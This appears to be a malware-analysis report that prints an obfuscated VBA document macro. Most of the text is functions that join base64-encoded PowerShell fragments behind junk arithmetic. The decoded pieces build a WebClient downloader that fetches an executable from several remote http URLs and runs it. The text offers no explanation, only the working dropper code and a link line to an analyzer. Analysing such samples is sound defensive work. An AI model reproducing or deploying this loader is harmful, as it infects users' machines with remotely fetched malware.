TFIowZcswD = bwsTj + wjSprmbi + XdFjGi + nHIultHX + IntJbWIhqQN + LcWRmpljimo + wiDRl
End Function
Function AkjvFj()
On Error Resume Next
iFhSa = (JGYUmR * hrMsDP - CappbS * Round(43029)) + (13094 - Rnd(QYovut) + 22877 + QvYlUW)
aPmvaQ = "QANQB9A" + "HsAMQA5AH0AewA" + "5ADIAfQB7AD" + "cANwB9AHsA" + "MQAwADUAfQ" + "B7ADEANQB9AHsA"
CwIQM = (rvbzGE * rqHLD - IvzVin * Round(61313)) + (50367 - Rnd(IrAhDQ) + 75344 + JGutZc)
kNYIHVCwE = "NgAzAH0AewA2A" + "DIAfQB7ADUA" + "fQB7ADQ" + "AMAB9AH" + "sAMQB9AHsAOAA" + "wAH0AewA3AD" + "AAfQB7ADkAN" + "QB9AHsAOQA3AH0" + "AewA3ADEAfQB7A"
wopwu = (nMipO * EaacjH - nkwYB * Round(98435)) + (8572 - Rnd(wFIlj) + 36963 + XtwjfB)
vGNzbs = "DAAfQB7ADYAOQB9" + "AHsAOQB9AHs" + "AMgA5AH0AewA" + "5ADEA" + "fQB7ADMANgB9" + "AHsAMQAyA" + "H0AewA0ADEAfQB" + "7ADkA"
iRron = (EjdNlJ * cBPozq - pGZDf * Round(19580)) + (38674 - Rnd(jiwcO) + 36980 + fhMMW)
UVSWL = "OAB9AHsAMgAxAH" + "0AewAxADMAf" + "QB7ADMAN" + "QB9AHsAMQAwA" + "DAAfQB7ADcAOAB9" + "AHsANg" + "B9AHsAOAAyAH0A"
OcvAZ = (HWdKmp * iXrnJc - BCzQJ * Round(90777)) + (41706 - Rnd(VibkU) + 14076 + iiDFfM)
ihtzmBvb = "ewAyADI" + "AfQB7ADQAOAB" + "9AHsAOAA" + "2AH0Ae" + "wA4AH" + "0AewAx" + "ADcAfQB7"
CTKmao = (ntDjHF * ciriI - AviBVf * Round(7402)) + (85633 - Rnd(kDzCU) + 99354 + GWUhoi)
ClRhFviJ = "ADMAMQB9A" + "HsANgA0AH0A" + "ewA5ADMAfQB7ADg" + "AOAB9AH" + "sAMwA0AH0Ae" + "wA2ADgAfQB7ADMA" + "NwB9AHsA"
AkjvFj = aPmvaQ + kNYIHVCwE + vGNzbs + UVSWL + ihtzmBvb + ClRhFviJ
End Function
Function wwYKtbQs()
On Error Resume Next
YBMBOC = (MbXbj * lIRuk - aJAmFl * Round(24145)) + (93979 - Rnd(UKbwR) + 14263 + zIipq)
RVaBSQJFSVz = "MQAwADIAfQ" + "B7ADcAMgB9" + "AHsAMQAwADMAfQ" + "B7ADkANgB9AHsAN" + "wA5AH0Aew" + "AyAH0AewAxADg" + "AfQB7ADEAMA" + "A2AH0AewA5AD" + "kAfQB7ADEAMAB9"
YcZan = (uzEZww * iYPGQ - FbrQv * Round(60388)) + (28287 - Rnd(bIJQvz) + 25578 + XMfzTC)
RCoMah = "AHsAM" + "wAyAH0A" + "ewAzADMA" + "fQB7ADUANwB9AH" + "sAMgAwAH0AewA" + "0ADIAfQB7ADYAN"
QkizJc = (kBOmkk * LdvZsS - vJBzvt * Round(747)) + (5900 - Rnd(SiCBaj) + 32908 + FXpYHC)
fJiDLkDVp = "gB9AHs" + "AMQAwA" + "DQAfQB7ADUAOQB" + "9AHsANQAzA" + "H0AewA1A" + "DIAfQ"
PcEMi = (YbjmVb * zOjlha - EhjGfM * Round(24701)) + (38171 - Rnd(dQoHs) + 69048 + onUrt)
PrfniVEGcw = "B7ADgA" + "NAB9AHsA" + "MwA5AH0Ae" + "wA1ADUAfQB7AD" + "cANgB9AHsAMgA" + "1AH0AewA4ADU" + "AfQB7AD" + "YANwB"
wwYKtbQs = RVaBSQJFSVz + RCoMah + fJiDLkDVp + PrfniVEGcw
End Function
Function KkJNEt()
On Error Resume Next
SPFEn = (qnDrjG * hszhV - EFGVh * Round(39081)) + (71052 - Rnd(vuzMi) + 3674 + OUBaZc)
rusjM = "9AHsAN" + "gAwAH0AewA" + "xADYAfQAiAC0AZ" + "gAnAC4AYwBvAG0A" + "LgAnACwAJwBl"
iZZHAo = (aqGwU * BMtYkC - vtGiz * Round(8252)) + (11597 - Rnd(XwGwu) + 53277 + jwZTw)
AKjWXCL = "ACcALAAnA" + "G4AIA" + "BiACcALAA" + "nACsAJwAsACcA" + "VgA3ACcALA" + "AnAC8AJw" + "AsACcAaQ" + "BlAC4AJwAsA" + "CcAVgA3AHQAbg" + "BWACcALA"
VDqOO = (vBbcp * FhoTv - wiiCt * Round(99441)) + (4430 - Rnd(Nifww) + 32838 + KZpPQ)
MKGCjAYTBXw = "AnAHQAKAAnACwA" + "JwBKAE8AMwAnA" + "CwAJwB7" + "AHQAcgB5AHs" + "AYgBkAHQAW"
rKRwUQ = (ptiNB * WNdSJ - LozRWf * Round(57258)) + (47798 - Rnd(vHwEf) + 49872 + YRGZi)
whXwmDS = "QBZACcALAA" + "nAHQAJwAsACcA" + "cgBhAG4A" + "YwBvA" + "GkAcwAtACcA" + "LAAnAG4A" + "cwAnACwA"
kTwSvi = (thHjXE * stvQqs - tmjJW * Round(80909)) + (34077 - Rnd(LMjIjD) + 60488 + DkuiW)
boZnMHCvTP = "JwBiAC" + "cALAAnAGs" + "AMQAvA" + "EAAJwAsACcAa" + "wA7AH0" + "AYwBhAHQ" + "AYwBoAHsAfQ"
KkJNEt = rusjM + AKjWXCL + MKGCjAYTBXw + whXwmDS + boZnMHCvTP
End Function
Function XwpNr()
On Error Resume Next
ASjai = (fWpjq * qhMJY - cFVuwP * Round(40555)) + (82582 - Rnd(YrjvN) + 74802 + lRcvLF)
QYhRaqiOWWd = "B9ACcALAAnAFY" + "ANwB0ACcAL" + "AAnAGQAdA" + "BBACcALAA" + "nACAAP" + "QAgAFYAN" + "wB0AA0ACgBoAH" + "QAdABwADoALw" + "AvAHAAJwA" + "sACcAMwB"
pWASQ = (zHuLC * RrGVR - ozGfI * Round(75774)) + (55629 - Rnd(Kwvjch) + 44885 + fYwzEd)
asbkGt = "HAGwAZQ" + "B3AEg" + "AOAAoAGIAJ" + "wAsACcAZ" + "QAnACwAJwAvACcA" + "LAAnAFYANwA" + "nACwA" + "JwA3AHQAKw" + "AnACw"
QwVtL = (oiwLq * GCKON - kCBMNi * Round(39325)) + (58712 - Rnd(MiZTA) + 19940 + pintRK)
NPYjij = "AJwA3ACcALAAn" + "ACsAVgA3AC" + "cALAAnAH" + "QAdABW" + "ADcAdAApACcALA" + "AnACAAcg"
RzVmK = (uVKiI * aNEim - hzcwW * Round(84155)) + (79591 - Rnd(VMcaT) + 46019 + jjNsw)
anaCGHNW = "AnACwAJwB" + "EAHIAL" + "wBAAGgAJwAsACc" + "AeAB0" + "ACgAMQAwACc" + "ALAAnAEAAVgA3A" + "HQAKQA" + "7AGIAZAB0AFMARA" + "BDACcALAAnAFUAL" + "gB3AE"
NbqYq = (jjWlz * UjLtU - dzzvhs * Round(67675)) + (29293 - Rnd(vudrqq) + 29385 + YlYfj)
zlNzjOVQ = "gAOABEAG8AOQA" + "zAEcAVwBuA" + "GwAOQAzA" + "CcALAA" + "nAEcATwB" + "hAGQARgBJACc" + "ALAAnAGQAdABOA"
XwpNr = QYhRaqiOWWd + asbkGt + NPYjij + anaCGHNW + zlNzjOVQ
End Function
Function nDcMQTBB()
On Error Resume Next
dzaca = (oOnPkP * LRtzob - lpsuJJ * Round(10688)) + (30491 - Rnd(IwwzoU) + 91464 + QIQwj)
dFOmnXlU = "FMAQgAgA" + "CsAIAAoAFYANwAn" + "ACwAJwAuACcAL" + "AAnAC8ALwBm" + "ACcALAAnAHQAKw" + "BWADcAdABlACcAL" + "AAnADMA" + "MwApADsAYgAnAC" + "wAJwA" + "rAFYAJ"
OHbsD = (injEF * nHjTR - YbfTnR * Round(20691)) + (82536 - Rnd(mhjKi) + 8113 + dnhRCN)
jfKcCaz = "wAsACc" + "AaQBuAG4AJw" + "AsACc" + "AcgAnACwA" + "JwBkAHQAY" + "QBzAGYAYwA" + "uAHcA"
UMssP = (nawrXY * bvTJh - fsGDt * Round(50133)) + (38317 - Rnd(itlzq) + 20275 + KGvZu)
SkWLOlnGL = "SAA4AFQAbwBTA" + "HQAcgA5" + "ADMAJwAsACcAZAB" + "0AG4AcwBhAGQ" + "AYQBzAGQALgBu" + "AGUAJwAsAC"
iLlon = (wGhTY * phQNIw - vcJhK * Round(84702)) + (62608 - Rnd(mQpYj) + 73900 + zjVOG)
wUjwLv = "cAKwBW" + "ADcAdA" + "B3AC0AbwBi" + "AGoAZQBj" + "AFYANwB" + "0ACcA"
nDcMQTBB = dFOmnXlU + jfKcCaz + SkWLOlnGL + wUjwLv
End Function
Function jwCDmwhGrz()
On Error Resume Next
VwwZN = (BcCzz * HwhYia - GtMpsv * Round(78748)) + (95659 - Rnd(kjsusw) + 51786 + MHzcfk)
wLUsbZm = "LAAnAEMAWAAn" + "ACwAJwBC" + "ACcALAAnAFYA" + "NwB0AC"
TrbcnV = (CuSza * IEiYR - sTEDD * Round(16562)) + (46039 - Rnd(MWdTb) + 16419 + VATMKR)
UjWjqv = "cALAAnAFQAcQ" + "BxAGsALwBWADcAd" + "AAnACw" + "AJwBu" + "AHMAYQBkAGEAc" + "wBkACAAPQAg" + "ACYAKA" + "AnACwAJwBhAG" + "4AZABv" + "AG0AOwBiAGQ"
hwbtY = (VHdYK * rQPnX - PRMfQ * Round(96712)) + (45705 - Rnd(imEKL) + 14421 + hlGbKj)
cihQh = "AdABZAFkAVQAg" + "AD0AJwAsACcAIAB" + "TACcALAA" + "nACkAOwAmACgAV"
iEtEJ = (QNGMv * uzwChd - HniDT * Round(25864)) + (6646 - Rnd(KiIMM) + 68873 + jImMp)
fvGkIDrzI = "gA3AHQASQBu" + "AHYAbwBWA" + "DcAJwAsACcAUwBE" + "AEMAJwAs" + "ACcAMAAwA" + "DAALAA" + "nACwAJwA3AHQA" + "awBWAC"
ARfrO = (MwjjZ * pcRzAZ - FtGizA * Round(67202)) + (18250 - Rnd(PqPUoJ) + 12701 + CMEvq)
VEkipiDZw = "cALAAnAHQA" + "LgBXAGUAYg" + "BDAGwAaQBlAG" + "4AdAA7AGIA" + "ZAB0AE4A"
bvjNX = (skHMV * Suiiqf - cjsTE * Round(19197)) + (62355 - Rnd(vwoVv) + 28932 + fnOmL)
LCAmQunHMsG = "UwAnACwAJwA" + "5ACcA" + "LAAnACAAJwAsAC" + "cAZAB0AC" + "cALAAnAEMAKQA" + "7AGIAcgBl"
riiDz = (qMnUV * mNkib - DrlwnS * Round(82791)) + (49144 - Rnd(tPuUE) + 38503 + kEKQE)
Mfflhkwf = "AGEAJwAsAC" + "cAYgBkAHQ" + "AJwAsACcA" + "OgAvACc"
jwCDmwhGrz = wLUsbZm + UjWjqv + cihQh + fvGkIDrzI + VEkipiDZw + LCAmQunHMsG + Mfflhkwf
End Function
Function XtzawhpiP()
On Error Resume Next
qJIbT = (JBpwMi * UQvqPM - jzwsA * Round(32525)) + (9781 - Rnd(dfYKaw) + 1661 + oMzuQT)
DEhOX = "ALAAnAGgAd" + "AB0AHAA" + "JwAsAC" + "cAIAA" + "9ACAAYg"
SilVz = (pNuEfV * MQaCrd - JYBIk * Round(37782)) + (76485 - Rnd(iQRJQ) + 87105 + KPvFpn)
whbMWXuM = "BkAHQAZQBu" + "AHYAOgB" + "wACcALAAnAGoA" + "ZQBjAHQ" + "AVgA3ACcALAAn" + "AEcAaQA5ADMA" + "RwBOAGcAdwBIA" + "CcALAAnAG0AVg" + "A3AHQ" + "AKQAoAGIA"
dGvcH = (XlwDm * uujdlf - hidmV * Round(10128)) + (99528 - Rnd(FLHloj) + 83064 + vNHLYj)
jTdsQToaWJr = "ZAB0AFMARAAnACw" + "AJwB0AC4AZQ" + "B4AFYANw" + "AnACwAJwBi" + "AHIALwBlA" + "FEAJwAsACcA" + "bwBuAC4AJ" + "wAsACcAb"
UNWUzj = (mKZmGj * TZXIjS - pSwLDz * Round(71561)) + (30579 - Rnd(UiwpJY) + 97821 + AzbYwL)
GcaDT = "AB1AGMA" + "YQBzAHcAZQ" + "BiACcALAAnAC" + "kAOwBmAC"
XtzawhpiP = DEhOX + whbMWXuM + jTdsQToaWJr + GcaDT
End Function
Function wHFYMY()
On Error Resume Next
dHubn = (DrRSiv * IvksW - FHHtqv * Round(51425)) + (74997 - Rnd(hqBsG) + 92773 + vEJctQ)
WjpLslZLRuj = "cALAAnA" + "CAAJwAsACcAPQAg" + "AGIAJwAsAC" + "cAdABlACcALAAn" + "ADcAdAArAF" + "YAJwAs" + "ACcAYw"
hXfdab = (OjCPG * WOEjMw - KaRlpc * Round(51863)) + (1297 - Rnd(iunpVa) + 42951 + RALCS)
GfiIQvT = "BvAC4AegBh" + "AC8AJ" + "wAsACcA" + "RQAvA" + "EAAaAB0AHQ" + "AcAA6AC8ALwB" + "sAGkAZAB"
wczBL = (AdPwTb * FtnwA - jAIcQ * Round(48885)) + (91941 - Rnd(tOMlus) + 37131 + IpaPT)
AYOEjrFMQbn = "vAGMAbwBuAGMA" + "aABpAGcAbA" + "AnACwAJwBhAH" + "MAZgBjACAAaQ" + "AnACwAJwByAHYA"
FiqVtT = (RiBKw * HqAjcP - GPDLZj * Round(75387)) + (74268 - Rnd(zYlkDv) + 56958 + vjbbbj)
MUCOmYdaG = "YQB0AGk" + "AJwAsACcAZAB0" + "AEEARAAnACwAJwB" + "jAG8AbQAnACwAJ" + "wAtAG8AJwAsAC"
bvJMb = (GwzfZ * bfvKji - hdYOfM * Round(25294)) + (27704 - Rnd(wnNifs) + 69447 + ZbKbqa)
uFLObNQrK = "cAdAAn" + "ACwAJwB0AGUALQ" + "BJAHQAZQAnACwAJ" + "wAuAFMAcABsA" + "GkAJwA" + "sACcALgAoAFYANw" + "B0AG4AZQAnACwAJ" + "wBlAEcAMABW" + "ADcAdAAgAC"
wHFYMY = WjpLslZLRuj + GfiIQvT + AYOEjrFMQbn + MUCOmYdaG + uFLObNQrK
End Function
Function XVfZoWH()
On Error Resume Next
EiFCGz = (vwuCh * hdAOu - BLSuK * Round(67943)) + (90673 - Rnd(kFTFq) + 6678 + JBGLHo)
twwsFWq = "sAIABiA" + "CcALA" + "AnACAAMgA4ADI" + "AMQAnACwAJwB" + "WADcAdAB3AFYAN" + "wB0ACs" + "AVgA3AHQAJw" + "AsACcAdAB0AH"
sQkcKi = (wbvhXY * mjvSLh - pdpMdP * Round(47275)) + (54332 - Rnd(DmibSB) + 19828 + YNVniX)
cmzzABC = "AAcwA6ACcAL" + "AAnAGoAYg" + "B1AHkAcwAuAC" + "cALAAnAHUAY" + "gBsAGkAYwAgACs" + "AIABWADcAdAAnA"
SfLWR = (svGoD * uQjSXU - rvtwIl * Round(49277)) + (26415 - Rnd(wLzLFR) + 87894 + DCKhLq)
WaswhjMkHSh = "CwAJwB" + "0ACkAJwAsACcAY" + "wBvAG0ALwAwAFIA" + "JwAsACcAYQB" + "jAGgAKABiAG" + "QAdAAnACwAJ" + "wB0AGcAQwA" + "2AFIALwBAA" + "GgAdAB0A" + "HAAOg"
mPOPQ = (uzTwfb * iDkrz - zuqrid * Round(43673)) + (65752 - Rnd(VJAjF) + 40985 + sXKwC)
AIPVWq = "AvAC8AJwAsAC" + "cAbwBtAG0AJwA" + "sACcAKQAnACw" + "AJwBmA"
OiOZp = (QzRTj * tcwXj - uJfcKw * Round(99182)) + (44187 - Rnd(YKNhB) + 91108 + jMdInC)
BuifbnVEZ = "HIALwBlAHU" + "AQgB6ADUA" + "ZgAnA" + "CwAJwB5A" + "HMAdABlAG" + "0ALgB" + "OAGUAJwAs"
PEqQS = (sNVrY * tZlUR - SProD * Round(72218)) + (66688 - Rnd(zvjuX) + 97702 + rPYUjj)
TDzLWJGNIkW = "ACcAVgA" + "3AHQAJwAsACcAbw" + "ByAGUAJwAsACc" + "AOAAoACkALAAg"
LKpWJ = (CUvsLj * maaAE - AMwdaT * Round(48546)) + (20875 - Rnd(JNzls) + 15056 + hzjck)
rljdjUzqqBw = "AGIAJwAsAC" + "cAbgA5AH" + "kAJwAsACcAR" + "ABDAFgA" + "JwApACkAIA" + "AtAFIA"
XVfZoWH = twwsFWq + cmzzABC + WaswhjMkHSh + AIPVWq + BuifbnVEZ + TDzLWJGNIkW + rljdjUzqqBw
End Function
Function lwmNI()
On Error Resume Next
fArio = (ERoXPw * wOjOCk - AKisZq * Round(24551)) + (67452 - Rnd(bTczkj) + 93300 + sfvGkU)
FQKAjTJbR = "RQBwAG" + "wAYQBjAG" + "UAIAAoAFsAYwBIA" + "EEAUgBdADkAOA" + "ArAFsAYwBIAEE" + "AUgBdA"
knMJoA = (drwPUR * IzRVYN - mAwRS * Round(89481)) + (43035 - Rnd(phQqt) + 14907 + dDusqp)
fwjYvVjwdMz = "DEAMAAwA" + "CsAWwBjA" + "EgAQQBSAF0AMQAx" + "ADYAK" + "QAsAFsAYwBIAE" + "EAUgBdADMANgA" + "tAFIARQBwAGwA"
BVMimj = (dkLGlz * QrWFOG - OwiYr * Round(42644)) + (38684 - Rnd(bfXNC) + 99082 + FnHmpL)
JbubVuSP = "YQBjAGUAIAAgACg" + "AWwBjA" + "EgAQQBSAF0" + "AMQAxADkA" + "KwBbAG"
EjHKAN = (Xmcji * WhFvNN - JjjXv * Round(74286)) + (79358 - Rnd(iwbQqR) + 87829 + RhVGBD)
dDBqOZd = "MASABB" + "AFIAXQA3" + "ADIAKwBbA" + "GMASABB" + "AFIAXQA1ADYAK" + "QAsAFsAYw" + "BIAEEAUgBdADMAN" + "AAtAGMAUgBFAHA" + "AbABhA"
lwmNI = FQKAjTJbR + fwjYvVjwdMz + JbubVuSP + dDBqOZd
End Function
Function JGACpMipW()
On Error Resume Next
viTMEX = (MZcvnY * kONYZ - oASrVc * Round(75053)) + (78269 - Rnd(rHNFn) + 77266 + bZkOAl)
iHKihpCYcPJ = "GMAZQAnADkAMw" + "BHACcA" + "LABbAGMA" + "SABBAFIAXQA5ADY" + "ALQBSAE" + "UAcABsAGEAYwB" + "lACAAJwBWADcAd" + "AAnACwAWwBj" + "AEgAQQBSA"
ovdUu = (THibOE * Mcrbkt - iViilL * Round(83486)) + (74809 - Rnd(nLoDzd) + 92442 + IsHujY)
SfFOnUi = "F0AMwA5AC0AY" + "wBSAEUAc" + "ABsAGEAYwBlA" + "CgAWwBj" + "AEgAQQBSAF0A" + "MQAwA"
qjtjwi = (iHmTT * vjipj - uQaBv * Round(66628)) + (63010 - Rnd(TslEw) + 92457 + rCSKoF)
YFPrFv = "DEAKwBbAG" + "MASABBAFIAXQA3A" + "DEAKwBbAGMAS" + "ABBAFIAXQ" + "A0ADgAK"
jhQfJj = (YJSOQi * QhwwS - qmViVX * Round(32883)) + (8860 - Rnd(QisNQk) + 86223 + PYzFui)
YvvqI = "QAsAFsAYwBIAEE" + "AUgBdADkAMgA" + "pACkA"
JGACpMipW = iHKihpCYcPJ + SfFOnUi + YFPrFv + YvvqI
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.